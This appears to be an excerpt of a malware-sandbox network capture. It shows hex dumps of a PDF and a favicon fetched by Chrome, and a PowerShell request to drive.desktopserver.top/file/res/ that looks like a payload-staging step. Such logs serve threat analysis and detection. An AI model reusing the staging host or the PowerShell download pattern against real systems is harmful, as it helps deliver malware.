2024-09-30 16:58:17 UTC	882	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 25 e2 e3 cf d3 0d 0a 32 33 36 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 39 2f 4c 65 6e 67 74 68 20 32 35 31 2f 4e 20 32 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 74 90 c1 8a 83 30 10 86 5f 65 9e c0 24 13 bb b4 50 72 a8 5d 3d 94 82 18 2f 8b 78 08 6d ba 08 5d 23 31 82 fb f6 3b 46 bb b7 c2 1f 98 99 ff cb 0c 33 08 1c 52 90 3b 38 1e 59 e6 a6 3e 80 60 97 ee 3e 36 29 19 55 cb ea df c1 b2 d2 7c db 51 a9 88 f4 c1 f6 61 04 c1 17 9f 65 de 0d 27 37 37 3c a1 9c de ee c0 93 14 f6 b8 4f 78 cb ae f6 de 99 b7 6e 69 3c 75 02 8c 7d 2a 3b ba c9 df ec 18 67 3c 9d d7 83 b9 d9 25 d1 28 80 14 87 69 c9 41 ae 83 cf f6 61 a6 67 c8 ae 5f 97 97 bd 95 aa e2 b4 41 4a Data Ascii: %PDF-1.7%236 0 obj<</Filter/FlateDecode/First 9/Length 251/N 2/Type/ObjStm>>streamht0_e$Pr]=/xm]#1;F3R;8Y>`>6)U\|Qae'77<Oxni<u}*;g<%(iAag_AJ
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: 0a 65 6e 64 73 74 72 65 61 6d 0d 65 6e 64 6f 62 6a 0d 32 33 39 20 30 20 6f 62 6a 0d 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 46 69 72 73 74 20 33 33 2f 4c 65 6e 67 74 68 20 32 36 31 2f 4e 20 35 2f 54 79 70 65 2f 4f 62 6a 53 74 6d 3e 3e 73 74 72 65 61 6d 0d 0a 68 de 84 cf 5d 6b 83 30 14 06 e0 bf 92 7b 91 98 0f dd 84 52 a8 6b 6d 65 d5 16 63 4b b7 b1 0b ab 87 2e a0 c9 98 19 c3 7f 3f dd 6e c6 5a 15 42 2e ce c9 39 cf 1b c2 90 83 28 43 84 52 c4 28 a2 dc 47 ac 3b 77 0c 71 0f b9 8e 8b 66 33 1c e4 0d 84 5a 19 1c 8a d3 2e 58 58 8b 0f 99 57 71 86 97 d0 14 a0 ca 5c 99 be db bc 10 b7 db 95 be e2 95 2a 74 29 d5 05 47 25 28 23 4d 6b 6f 70 92 d7 80 43 c2 b0 f8 3c 9b f6 1d 70 d6 5d 0e ce f4 41 c9 ee 35 20 e2 f5 c3 3f 65 dc af 9b cf ff ca f1 53 ba Data Ascii: endstreamendobj239 0 obj<</Filter/FlateDecode/First 33/Length 261/N 5/Type/ObjStm>>streamh]k0{RkmecK.?nZB.9(CR(G;wqf3Z.XXWq\*t)G%(#MkopC<p]A5 ?eS
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: 83 68 60 9b 86 f7 f3 b1 91 5a 11 67 92 09 e7 84 97 ea 4c 3e 25 76 5d 2c 97 6c 88 33 6b 1f 7c cc d6 b6 8a a5 67 22 93 1b 2f 44 03 e7 ee 6e cf c7 7a cf 4e ea e4 71 df 68 21 4b 74 e4 30 57 4a bb 23 96 e8 03 4b 06 d3 62 77 2c 99 26 09 c0 cf 97 f8 9a 26 fe de 8f 23 4a c2 b4 e1 fb b1 fa 7e 99 02 b3 90 e5 ec bd 15 7c c5 42 34 b0 8d d0 9e 8f 75 c4 e0 1d 29 be 43 e7 b4 09 99 f3 bb 06 76 d2 43 30 39 a9 c3 aa de 8f 74 42 48 a1 69 cc fb ac 8e 5a c3 12 56 61 d4 20 d1 c7 a9 98 c2 aa 98 1e 8b 59 c8 68 ed 20 4b ca d9 1a b8 1e 4b 4d e2 71 a4 e8 02 79 ce 75 fd 24 57 a7 1c 5a 84 e1 c8 80 5c 1d c5 89 8f a5 38 32 37 9c cf 83 e5 35 39 53 6e cf ff 23 58 72 32 17 f8 a6 e9 aa 3d 38 32 28 8e 26 d2 90 bf b1 ce 8e 46 96 46 1a 6a d3 11 33 86 ff e2 94 51 f1 05 41 ea ec 1a b8 c1 d0 d7 Data Ascii: h`ZgL>%v],l3k\|g"/DnzNqh!Kt0WJ#Kbw,&&#J~\|B4u)CvC09tBHiZVa Yh KKMqyu$WZ\82759Sn#Xr2=82(&FFj3QA
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: 64 53 04 25 b8 8e a4 90 6e 95 f0 ec 4d 3c 5f ba 7c 3b 94 1e bd c9 ed 2f 97 ac d1 dc db 31 9d 4f e7 a0 ec 65 63 74 26 9c 8c f4 1f 05 7a 60 1d f9 ea 3c 68 e0 07 5b 96 17 b3 e3 6e 24 75 29 c6 86 43 41 69 b7 9e a6 6e 70 47 8b 39 7b 87 5c 9a 48 76 9d 5c 81 5a 0d 34 3a 87 e9 0f d1 40 33 09 e1 42 57 b9 c1 2b 2b 67 4e 35 a5 91 1b b4 47 69 11 f4 f9 a3 7e 7c 34 85 7d 3b b5 af 89 cc 9d 95 8e c2 f0 83 97 99 3f 41 20 6d d5 32 44 66 3e 03 61 f2 d8 92 21 1a d8 8b 2a 23 32 8a 0b 40 43 58 b1 89 ca 63 05 a4 f6 95 1e 1c 3c 1b 9c 1f be 04 57 a7 67 0f 93 53 24 69 3d 82 fc 69 39 ce 32 e5 5a 57 74 2f d5 b5 4c 6e 0c 62 4d 91 36 f9 21 30 07 8f 0c 06 a6 49 d8 4a 34 05 c2 fd 4e 44 71 a8 91 a5 54 00 74 f9 df 51 c1 98 df ae f7 77 19 83 9f 90 b5 76 16 e4 79 28 c5 1f 0b 51 89 4c 95 2e Data Ascii: dS%nM<_\|;/1Oect&z`<h[n$u)CAinpG9{\Hv\Z4:@3BW++gN5Gi~\|4};?A m2Df>a!*#2@CXc<WgS$i=i92ZWt/LnbM6!0IJ4NDqTtQwvy(QL.
2024-09-30 16:58:17 UTC	888	IN	Data Raw: 16 29 24 11 25 09 40 1a 7e da 67 de 36 a9 23 6a c6 58 8c 80 9b 65 82 89 97 32 cc 43 20 b1 86 17 bd 25 a3 cc 5f a4 b2 54 90 48 93 7b 27 0f 2e 10 da c7 05 f9 9d 92 76 3d de 36 e4 36 99 0a 73 f3 5f ec e9 da 0b a4 2a f4 fe c2 ab a0 9f 27 b8 12 b6 f9 8d b1 b9 b2 d1 ad f8 02 65 5a f7 10 89 6a 69 c2 19 0b 69 69 f2 d9 27 3f a2 ee 80 5a 4a 4f fe 8b 21 e4 0b 59 2c 97 2c df 8f 2d 96 a6 c8 ad 62 7b 1c 55 44 7a d9 bc 9a 43 13 88 14 56 6e 34 77 75 0e b4 df f1 81 9b 86 52 43 de 1b 19 bd 59 28 e4 3b 1f ab de 4f 86 08 ac 69 8a 8e d1 f3 41 24 3a 5a 8b f9 e5 31 34 51 21 52 38 cf 50 e3 53 39 c6 8b 06 d6 58 d6 b1 42 26 47 56 5e d1 ab f0 43 2e fa f4 f2 92 74 98 02 4c 3a 7d 0a 34 58 20 56 75 66 b9 9a 97 95 e7 cf af 4e 72 14 64 de bc 24 dd cf 1f c3 45 5e c5 11 43 bf 0e 20 2c bb Data Ascii: )$%@~g6#jXe2C %_TH{'.v=66s_*'eZjiii'?ZJO!Y,,-b{UDzCVn4wuRCY(;OiA$:Z14Q!R8PS9XB&GV^C.tL:}4X VufNrd$E^C ,
2024-09-30 16:58:17 UTC	1448	IN	Data Raw: 93 e8 c8 b4 5c f0 a5 b0 35 64 b9 b7 3d 93 11 4b 66 f7 a2 a3 47 68 d0 a2 47 78 59 73 3a 8e be 2d a0 32 db fc ba 1c 2b 50 71 81 4c 59 e7 bc d1 5d b7 44 6e b3 96 20 b6 5a d7 c0 16 d7 41 5f b9 55 51 69 25 c3 b0 a2 04 12 48 4f 42 5a 28 7b 60 2f e2 84 b9 e1 aa 3f e6 5b 69 78 3f 34 20 2c d5 e1 fa b6 b5 79 79 bf 83 7c 41 bd f8 fb 79 a9 cd 65 ce a0 9f e1 5a f4 b0 cc 19 54 29 ca f0 34 57 bc d9 a7 54 a1 cf 46 85 0d 37 53 48 1b 34 35 69 07 48 81 fc 78 2c 2d 67 d7 7e d5 41 ae 5f 4c cb 51 16 7b ec cf c7 02 7a b1 12 d9 4a 63 ef fb 17 a7 e1 67 9a b1 e6 5f 14 97 26 59 1a 35 76 d4 46 d5 7a 74 b3 35 39 34 1c b0 46 31 6a f2 19 95 c0 3a a2 e1 92 2f 90 dc b3 a5 2e 93 8d 6d 69 c5 27 99 ef 4f cb 6f bc 7c 05 99 e5 ab 5d 92 a7 ee 81 09 97 5f f8 79 c1 cd 9b 14 01 24 4b f7 44 26 ec Data Ascii: \5d=KfGhGxYs:-2+PqLY]Dn ZA_UQi%HOBZ({`/?[ix?4 ,yy\|AyeZT)4WTF7SH45iHx,-g~A_LQ{zJcg_&Y5vFzt594F1j:/.mi'Oo\|]_y$KD&
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: 0f 88 87 83 61 38 87 e1 e7 51 97 c5 dd d3 92 d2 70 34 e5 a2 44 1a 1d 8b a1 c9 54 2f 68 60 c8 d3 a7 29 6d 60 fb 67 70 fa 58 69 72 c0 4a 94 b5 20 1a 52 6b 3e b0 54 f9 72 89 68 20 5b 9a 3c 1e cb cb 9f 8c 52 2b 97 81 4c 22 bd 7d b9 6c 1a a0 c9 31 46 6c 21 dc fa 70 c2 28 13 a2 17 02 8b aa 31 e2 16 77 b1 c4 03 52 dc d9 f2 97 32 4e 6d 68 1e a5 79 48 d5 b6 0c e9 31 fb c0 c8 ec 08 08 c0 a2 b4 0a f6 88 73 91 28 06 a0 af 63 49 ad 9e e4 0a 43 db 73 8a a3 da e4 39 c9 1a e8 c2 87 be b8 b2 37 6f 1b 43 9e 9f dc a2 0e b5 1c 2f 27 21 4b 98 6a 7c fa 12 b1 c7 b3 ec df fd 58 d8 4e c8 46 01 c2 b0 bb 9c 90 23 a6 bd 79 99 7d 4a db 16 51 39 36 a4 ea 4a cf 60 36 38 1b 7f c9 19 4b 44 03 03 13 db ce 63 c8 86 ed 42 32 77 3d ee b2 94 93 30 75 39 5a d1 99 a7 2b 05 2b 45 04 9e d0 38 c5 Data Ascii: a8Qp4DT/h`)m`gpXirJ Rk>Trh [<R+L"}l1Fl!p(1wR2NmhyH1s(cICs97oC/'!Kj\|XNF#y}JQ96J`68KDcB2w=0u9Z++E8
2024-09-30 16:58:18 UTC	4048	IN	Data Raw: 07 18 88 a9 1f 6c 35 93 f8 8a 92 bd 2c 6f 59 e2 71 d4 a1 93 88 fb b1 ac da 37 5e c5 ee 48 ec fd a5 eb 11 04 b2 57 d9 04 77 74 00 69 41 b9 31 dd 37 da ab 89 b4 4c a7 25 fd d8 5a 30 7a 5e 07 77 8d 0a 5a 99 f2 f7 21 b0 2a d3 78 0a d5 ee 1b c7 b3 f1 81 14 9f c9 ba 1a 15 76 dd 2b c7 1d 91 a5 e6 55 54 59 92 d5 d9 5f 74 05 82 c9 b1 59 2e 9a 9d 5f 0d b0 8e 7c 35 91 20 22 2f c4 94 b8 1a b8 22 68 b1 db de 11 b1 2b 18 cd 5b 05 f9 8b 2d cb b9 17 a9 b4 c0 7e 69 f2 26 ad 0c 19 90 3a 54 99 de 98 08 ba 77 fd 6e 17 70 be b1 b9 77 65 c9 99 2e 57 9e 37 79 00 92 e4 b5 2b 6c 9a 4d fe 1c e9 e9 27 87 b8 5b fe ab 9a 24 2e 2c aa 25 42 45 71 16 79 b8 2c aa 62 d9 03 e9 dd 72 ad b8 f8 e9 10 ea 0a 64 f4 e6 af 9a 6b 6b 4f 7b 8a 8c ad 7e 20 01 15 13 64 ec aa 55 8b ae 30 a0 95 dc 6a 0f Data Ascii: l5,oYq7^HWwtiA17L%Z0z^wZ!*xv+UTY_tY._\|5 "/"h+[-~i&:Twnpwe.W7y+lM'[$.,%BEqy,brdkkO{~ dU0j
2024-09-30 16:58:18 UTC	4048	IN	Data Raw: a8 f7 27 6c 96 40 e2 53 6b 76 f6 b8 be 91 3d 00 00 1a 1c 6b e4 e1 de c2 e5 b5 c6 96 ec f9 39 db 04 cb 3a 71 58 bb 96 70 d3 42 ed 3a bc 86 33 27 6f 43 e2 e1 12 c2 66 c5 66 d1 25 46 68 d1 39 aa 64 4d 4e 70 15 e2 75 1d cf 19 d4 6d b9 17 96 97 23 e1 2a 86 1e ef f5 c5 9d c6 52 29 59 83 4e c4 92 53 92 96 da 9c d8 17 5f 04 ef 81 51 3e 0d 9d 8f 28 7c 91 4e 9e 8b e2 62 48 a7 18 62 48 cd 36 8a 86 15 4a 90 fc 44 22 6a 2f 2f b3 5d fc 06 5d ce 36 3d 48 50 18 6c 89 3b 5e e7 7b 54 c7 9b 15 e9 5b 13 63 b8 50 85 47 4e 1a 7e a5 cb 97 3d f3 b2 7f 4e bd 74 ce 62 31 1f d9 cb a3 ca cd b1 7d 64 17 54 9d 2a 46 d0 6c 93 6a 6b 51 18 38 e0 a9 6a 2d dd 27 3b ec 9d d2 9e 51 09 1c 5e 59 3a 4c ad 52 41 43 0b 3e 30 d3 5f 0a a4 e7 6b 1d 35 ab 63 48 f1 20 48 24 e6 f0 44 9e 0c 70 f4 ab bc Data Ascii: 'l@Skv=k9:qXpB:3'oCff%Fh9dMNpum#R)YNS_Q>(\|NbHbH6JD"j//]]6=HPl;^{T[cPGN~=Ntb1}dTFljkQ8j-';Q^Y:LRAC>0_k5cH H$Dp
2024-09-30 16:58:18 UTC	4048	IN	Data Raw: 08 f7 ca 3d 3c 84 ab ee 45 78 82 74 98 62 16 14 31 a5 60 65 9e 3e 15 28 c4 25 2c fc 78 54 4a e5 2b e7 97 c2 80 b2 7e cf ee 4b 77 59 f5 49 69 15 57 8f 30 62 6f 07 d3 ce 1c 34 17 a9 cc 67 4a 7e 7a d0 cb 9c 36 a6 48 5f 42 1c 48 35 5b 85 d2 4f 82 4f 0c d1 38 db 29 30 54 e1 88 a0 9a d1 1c 65 5d cc 27 36 ab 83 d5 b7 c2 b4 e8 a3 df a6 9a d9 eb b6 d1 91 fc b5 3a 52 65 d3 5f cc a4 2d cf 8e 46 47 f6 a6 6d f9 24 44 b7 e4 48 d4 cf 55 a3 3d 3c 35 4c 3a 1e ed 99 08 7f 73 7b 1f 19 fa 49 8a b2 ec 7c 19 88 90 3b 5c fa 73 d8 43 ee 72 1c 17 cf 01 75 53 7e 21 4a 85 7e 22 e3 3a 5c d6 8e 53 47 64 2b 77 a5 4a 9d 53 c7 a1 bc b0 3d 2d 66 c7 70 fc ed 56 b4 4f 96 f0 a0 2e f5 d9 b6 62 5e df 5e 27 ab 30 c2 a3 1a 0a 4c ca 8a 85 e0 f5 4d 27 e4 c8 1a e6 b9 bd ae 37 17 07 8e ee d4 bd f9 Data Ascii: =<Extb1`e>(%,xTJ+~KwYIiW0bo4gJ~z6H_BH5[OO8)0Te]'6:Re_-FGm$DHU=<5L:s{I\|;\sCruS~!J~":\SGd+wJS=-fpVO.b^^'0LM'7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49738	203.101.184.86	443	7768	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:17 UTC	403	OUT	GET /favicon.ico HTTP/1.1 Host: mora.gov.pk Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cookiesession1=678B2917984A004EC914ADEBDA66AEC6
2024-09-30 16:58:17 UTC	605	IN	HTTP/1.1 200 OK Content-Type: image/x-icon Last-Modified: Tue, 05 Dec 2023 11:55:06 GMT Accept-Ranges: bytes ETag: "db7d5de37127da1:0" Server: Microsoft-IIS/10.0 X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Xss-Protection: 1 X-Content-Type-Options: nosniff Referrer-Policy: no-referrer X-Permitted-Cross-Domain-Policies: none Strict-Transport-Security: max-age=31536000; includeSubDomains X-UA-Compatible: IE=edge,chrome=1 Date: Mon, 30 Sep 2024 16:58:16 GMT Connection: close Content-Length: 32038 Content-Security-Policy: self Feature-Policy: self
2024-09-30 16:58:17 UTC	3443	IN	Data Raw: 00 00 01 00 04 00 10 10 00 00 00 00 20 00 68 04 00 00 46 00 00 00 20 20 00 00 00 00 20 00 a8 10 00 00 ae 04 00 00 30 30 00 00 00 00 20 00 a8 25 00 00 56 15 00 00 40 40 00 00 00 00 20 00 28 42 00 00 fe 3a 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 d2 d1 83 cf cd cc 85 cf cc cb 85 cf cc cb 85 cf cc ca 85 ce cb ca 85 ce cb c9 85 bf bd bc b9 ce cc cb dd cd ca c9 dd cc c8 c6 dd cb c6 c4 dd cc c5 c3 db cb c5 c1 db cb c4 c1 db b6 b0 ae c1 f1 ee ec ff f4 e7 d6 ff f1 e1 ca ff ee e1 d0 ff ea e6 e4 ff e9 e5 e3 ff e9 e4 e2 ff e5 e2 e0 ff fd fb fa ff fc f9 f7 ff fb f6 f4 ff fa f4 f1 ff fa f2 ef ff f9 f1 ed ff f9 f1 ed ff df d7 d4 df f1 ee ee ff db b3 75 ff d0 9d 4c ff d0 ab 6e ff fc Data Ascii: hF 00 %V@@ (B:( @uLn
2024-09-30 16:58:17 UTC	41	IN	Data Raw: ba 96 ff fe fe fe ff fe fe fe ff fe fe fe ff f5 f3 f1 ff ec e8 e6 ff ec e8 e6 ff ec e8 e6 ff f5 f2 f1 ff f5 f2 f1 ff ec e7 Data Ascii:
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: e4 ff ec e7 e4 ff ec e7 e3 ff ec e7 e2 ff ec e6 e2 ff ec e6 e2 ff ec e5 e2 ff ec e5 e1 ff eb e5 e1 ff f4 ee eb ff fc f8 f5 ff fc f7 f4 ff fb f6 f4 ff b9 b9 b9 87 00 00 00 05 e7 e7 e7 ff ff ff ff ff ed d5 b5 ff da a8 65 ff de b2 77 ff de b4 79 ff de b2 77 ff d8 c4 a8 ff ff ff ff ff ff ff ff ff ff ff fe ff f6 f4 f2 ff ed e9 e6 ff ec e8 e6 ff ec e8 e6 ff f5 f2 f1 ff f5 f2 f1 ff ec e8 e5 ff ec e7 e4 ff ec e7 e4 ff ec e7 e3 ff ec e7 e2 ff ec e6 e2 ff ec e6 e2 ff ec e5 e2 ff ec e5 e1 ff f4 ef eb ff fc f8 f5 ff fc f8 f5 ff fc f7 f4 ff bb bc bb 87 00 00 00 05 e7 e7 e7 ff ff ff ff ff ed d4 b4 ff d9 a6 61 ff dd af 72 ff d9 a6 61 ff d8 a5 5f ff d4 ba 98 ff ff ff ff ff ff ff ff ff ff ff fe ff f5 f3 f3 ff ec e9 e6 ff ec e9 e6 ff ec e8 e6 ff f5 f2 f1 ff f5 f2 f1 ff ec Data Ascii: ewywara_
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: fa ff fd fa f9 ff e8 e5 e4 ff ef eb ea ff ee eb e9 ff ee eb e9 ff ee ea e8 ff ee e9 e7 ff ee e9 e7 ff ed e8 e6 ff ed e8 e6 ff ed e8 e5 ff e9 e4 e1 ff ec e7 e5 ff fb f5 f2 ff fb f5 f2 ff fa f4 f2 ff fb f5 f2 ff fb f5 f2 ff fa f5 f2 ff 89 87 86 9f db da da ff fc fb f9 ff fd fb f9 ff f2 e4 d0 ff d2 a0 51 ff d1 9e 4e ff d2 a2 54 ff d7 ab 66 ff d1 9e 4d ff d0 9d 4c ff d1 9e 4f ff d0 c3 af ff fd f8 f8 ff fc f8 f8 ff fd f8 f8 ff fd f9 f8 ff fc f9 f8 ff f0 e9 e6 ff ec e4 e0 ff eb e4 e0 ff eb e4 e0 ff dc d6 d2 ff d7 d4 d2 ff fd fd fc ff fe fc fc ff fe fc fb ff fe fc fb ff fd fb fa ff fd fa f9 ff f7 f5 f4 ff f5 f3 f1 ff f5 f2 f1 ff f5 f2 f0 ff f5 f1 ef ff f5 f1 ef ff f5 f1 ee ff f5 f0 ed ff f4 ef ed ff f4 ef ed ff f4 ef ed ff f7 f2 f0 ff fb f5 f3 ff fb f5 f3 ff fb Data Ascii: QNTfMLO
2024-09-30 16:58:17 UTC	2336	IN	Data Raw: e5 fb ec e9 e6 fd ec e8 e4 ff ec e7 e3 ff ec e6 e2 ff eb e5 e1 ff eb e4 e1 ff eb e4 e1 ff ef ea e6 fd fc f9 f7 f9 fc f8 f6 f9 fc f8 f6 fb fc f8 f6 fb fc f8 f5 fd c6 c6 c5 c3 00 00 00 0d 00 00 00 03 db db db ff ff ff ff ff ff ff ff ff f6 ea da ff da a8 68 ff da a7 64 ff db ab 6b ff df b4 7a ff da a7 64 ff d9 a6 63 ff da a9 66 ff d2 c6 b5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 ef ed ff ec e9 e6 ff ed e9 e6 ff ec e9 e6 ff ec e9 e6 ff ec e9 e6 ff fa f9 f7 ff fa f8 f7 ff ec e9 e6 ff ec ea e7 ff ed ea e7 ff ed ea e6 ff ec ea e7 ff ed ea e7 ff ed ea e6 ff ec ea e7 ff ec e8 e6 ff ec e7 e4 fd ec e7 e3 ff ec e6 e1 ff eb e5 e1 ff eb e4 e1 ff ef eb e6 ff fc f9 f6 ff fc f8 f5 ff fc f8 f5 ff fc f7 f5 ff fc f7 f4 ff c8 c8 c7 c3 00 00 00 0b 00 Data Ascii: hdkzdcf
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: e0 ff e2 e2 e2 bf e0 e0 e0 21 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 db db db ff e7 e7 e7 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff e6 e6 e6 ff d5 d5 d5 ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe fe ff fc fc fc ff fd fd fd ff fa fa fa ff f7 f7 f7 ff f3 f3 f3 ff ce ce ce ff c6 c6 c6 ff e2 e2 e2 ff e5 e5 e5 cf e3 e3 e3 21 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff Data Ascii: !!
2024-09-30 16:58:17 UTC	4048	IN	Data Raw: f9 ff fd f9 f9 ff fd f9 f9 ff fd f9 f9 ff d2 a1 56 ff d1 9f 50 ff d1 9e 4f ff d0 9c 4b ff d8 ad 6a ff da b2 72 ff d9 b1 6f ff d9 b0 6e ff d9 b3 73 ff da b2 70 ff d0 d0 d0 ff fc f9 f7 ff fc f9 f7 ff fc f9 f7 ff fc f9 f7 ff fd f9 f6 ff fc f9 f7 ff fc f9 f6 ff fd f9 f6 ff fd f9 f6 ff fc f8 f5 ff fc f8 f5 ff fc f8 f5 ff fc f8 f4 ff bc b9 b7 ff fe fd fc ff fe fd fc ff fe fc fc ff fe fc fb ff fe fc fb ff fe fb fa ff fd fb fa ff fd fb f9 ff fd fa f8 ff e1 de dd ff fd f9 f7 ff fc f8 f7 ff fc f8 f6 ff fc f7 f5 ff fc f7 f5 ff fc f7 f4 ff fb f6 f4 ff fb f6 f3 ff fb f5 f3 ff fb f5 f2 ff fb f5 f2 ff fb f4 f1 ff fb f4 f1 ff df d9 d7 ff fa f4 f1 ff fa f3 f0 ff fa f3 f0 ff fa f3 f0 ff fa f3 f0 ff fa f4 f0 ff fa f4 f1 ff fb f4 f1 ff fb f4 f1 ff 3e 3e 3e 7f d0 d0 d0 ff fd Data Ascii: VPOKjronsp>>>
2024-09-30 16:58:18 UTC	4048	IN	Data Raw: e1 ff e4 e2 e1 ff e4 e2 e1 ff e4 e1 e1 ff e4 e1 e1 ff e4 e1 e1 ff e4 e2 e1 ff e4 e2 e1 ff e4 e2 e1 ff e4 e2 e1 ff 42 42 42 7f d0 d0 d0 ff ff fe fd ff ff fe fd ff ff fe fd ff ff fe fd ff d8 a7 61 ff d6 a3 5a ff d5 a3 5a ff d5 a1 55 ff df b9 81 ff d7 a8 61 ff d5 a2 57 ff d5 a2 56 ff d6 a5 5c ff d6 a3 5a ff d0 d0 d0 ff fe fd fd ff fe fd fd ff fe fd fd ff fe fd fd ff fe fd fd ff fe fd fc ff fe fd fd ff ec e8 e6 ff ec e8 e5 ff ec e8 e4 ff ec e7 e4 ff ec e7 e4 ff ec e7 e4 ff b1 ae ac ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 e5 e5 ff e5 Data Ascii: BBBaZZUaWV\Z
2024-09-30 16:58:18 UTC	4048	IN	Data Raw: e7 ff ed ea e7 ff ed ea e7 ff ed e9 e6 ff ed e7 e4 ff ed e8 e4 fd ec e7 e2 ff ec e6 e2 ff ec e5 e1 ff eb e5 e1 ff eb e4 e2 ff eb e6 e1 ff fc f9 f6 ff fc f9 f6 ff fd f8 f5 ff fc f8 f6 ff fc f8 f5 ff fd f8 f5 ff fc f7 f4 ff cb cb ca ff 00 00 00 0f 00 00 00 09 ff ff ff 01 d0 d0 d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff dc ab 6d ff da a7 65 ff da a7 65 ff d9 a5 61 ff e3 bd 8a ff dc ac 6c ff da a6 62 ff d9 a6 62 ff db a9 68 ff da a9 66 ff d0 d0 d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ed ea e7 ff ed ea e7 ff ed ea e7 ff ed ea e6 ff ed e9 e6 ff ed ea e6 ff ed e9 e6 ff ec e9 e6 ff ff fe fe ff ff fe fe ff ec e9 e6 ff ed ea e7 ff ed ea e7 ff ed ea e7 ff ed ea e7 ff ed ea e7 ff ed ea e7 ff ed ea e7 ff ed Data Ascii: meealbbhf
2024-09-30 16:58:18 UTC	1930	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fc ff fd fd fd ff fd fd fd ff fd fd fd ff fb fb fb ff f8 f8 f8 ff f5 f5 f5 ff de de de ff a9 a9 a9 ff eb eb eb ff da da da ff e6 e6 e6 ff e3 e3 e3 ff ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 ff ff ff 01 d9 d9 d9 ff e0 e0 e0 ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff de de de ff d0 d0 d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49742	104.21.92.189	443	8288	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:20 UTC	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
2024-09-30 16:58:21 UTC	628	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 16:58:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yS0RUlm3oRj7R%2BkoFByBbJ%2BDrhqEXjuKggbYVNnbDPDMU09jt%2B2h7p7JgeWiITGV68Liuv%2BRKlLTTzxnE7dcBRlWACTtZmUgMLe6WmXR4BVtH4jVm7F0MhX8N5bFhj%2B92mwwbweoeAtoiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1d89b92c3f5-EWR
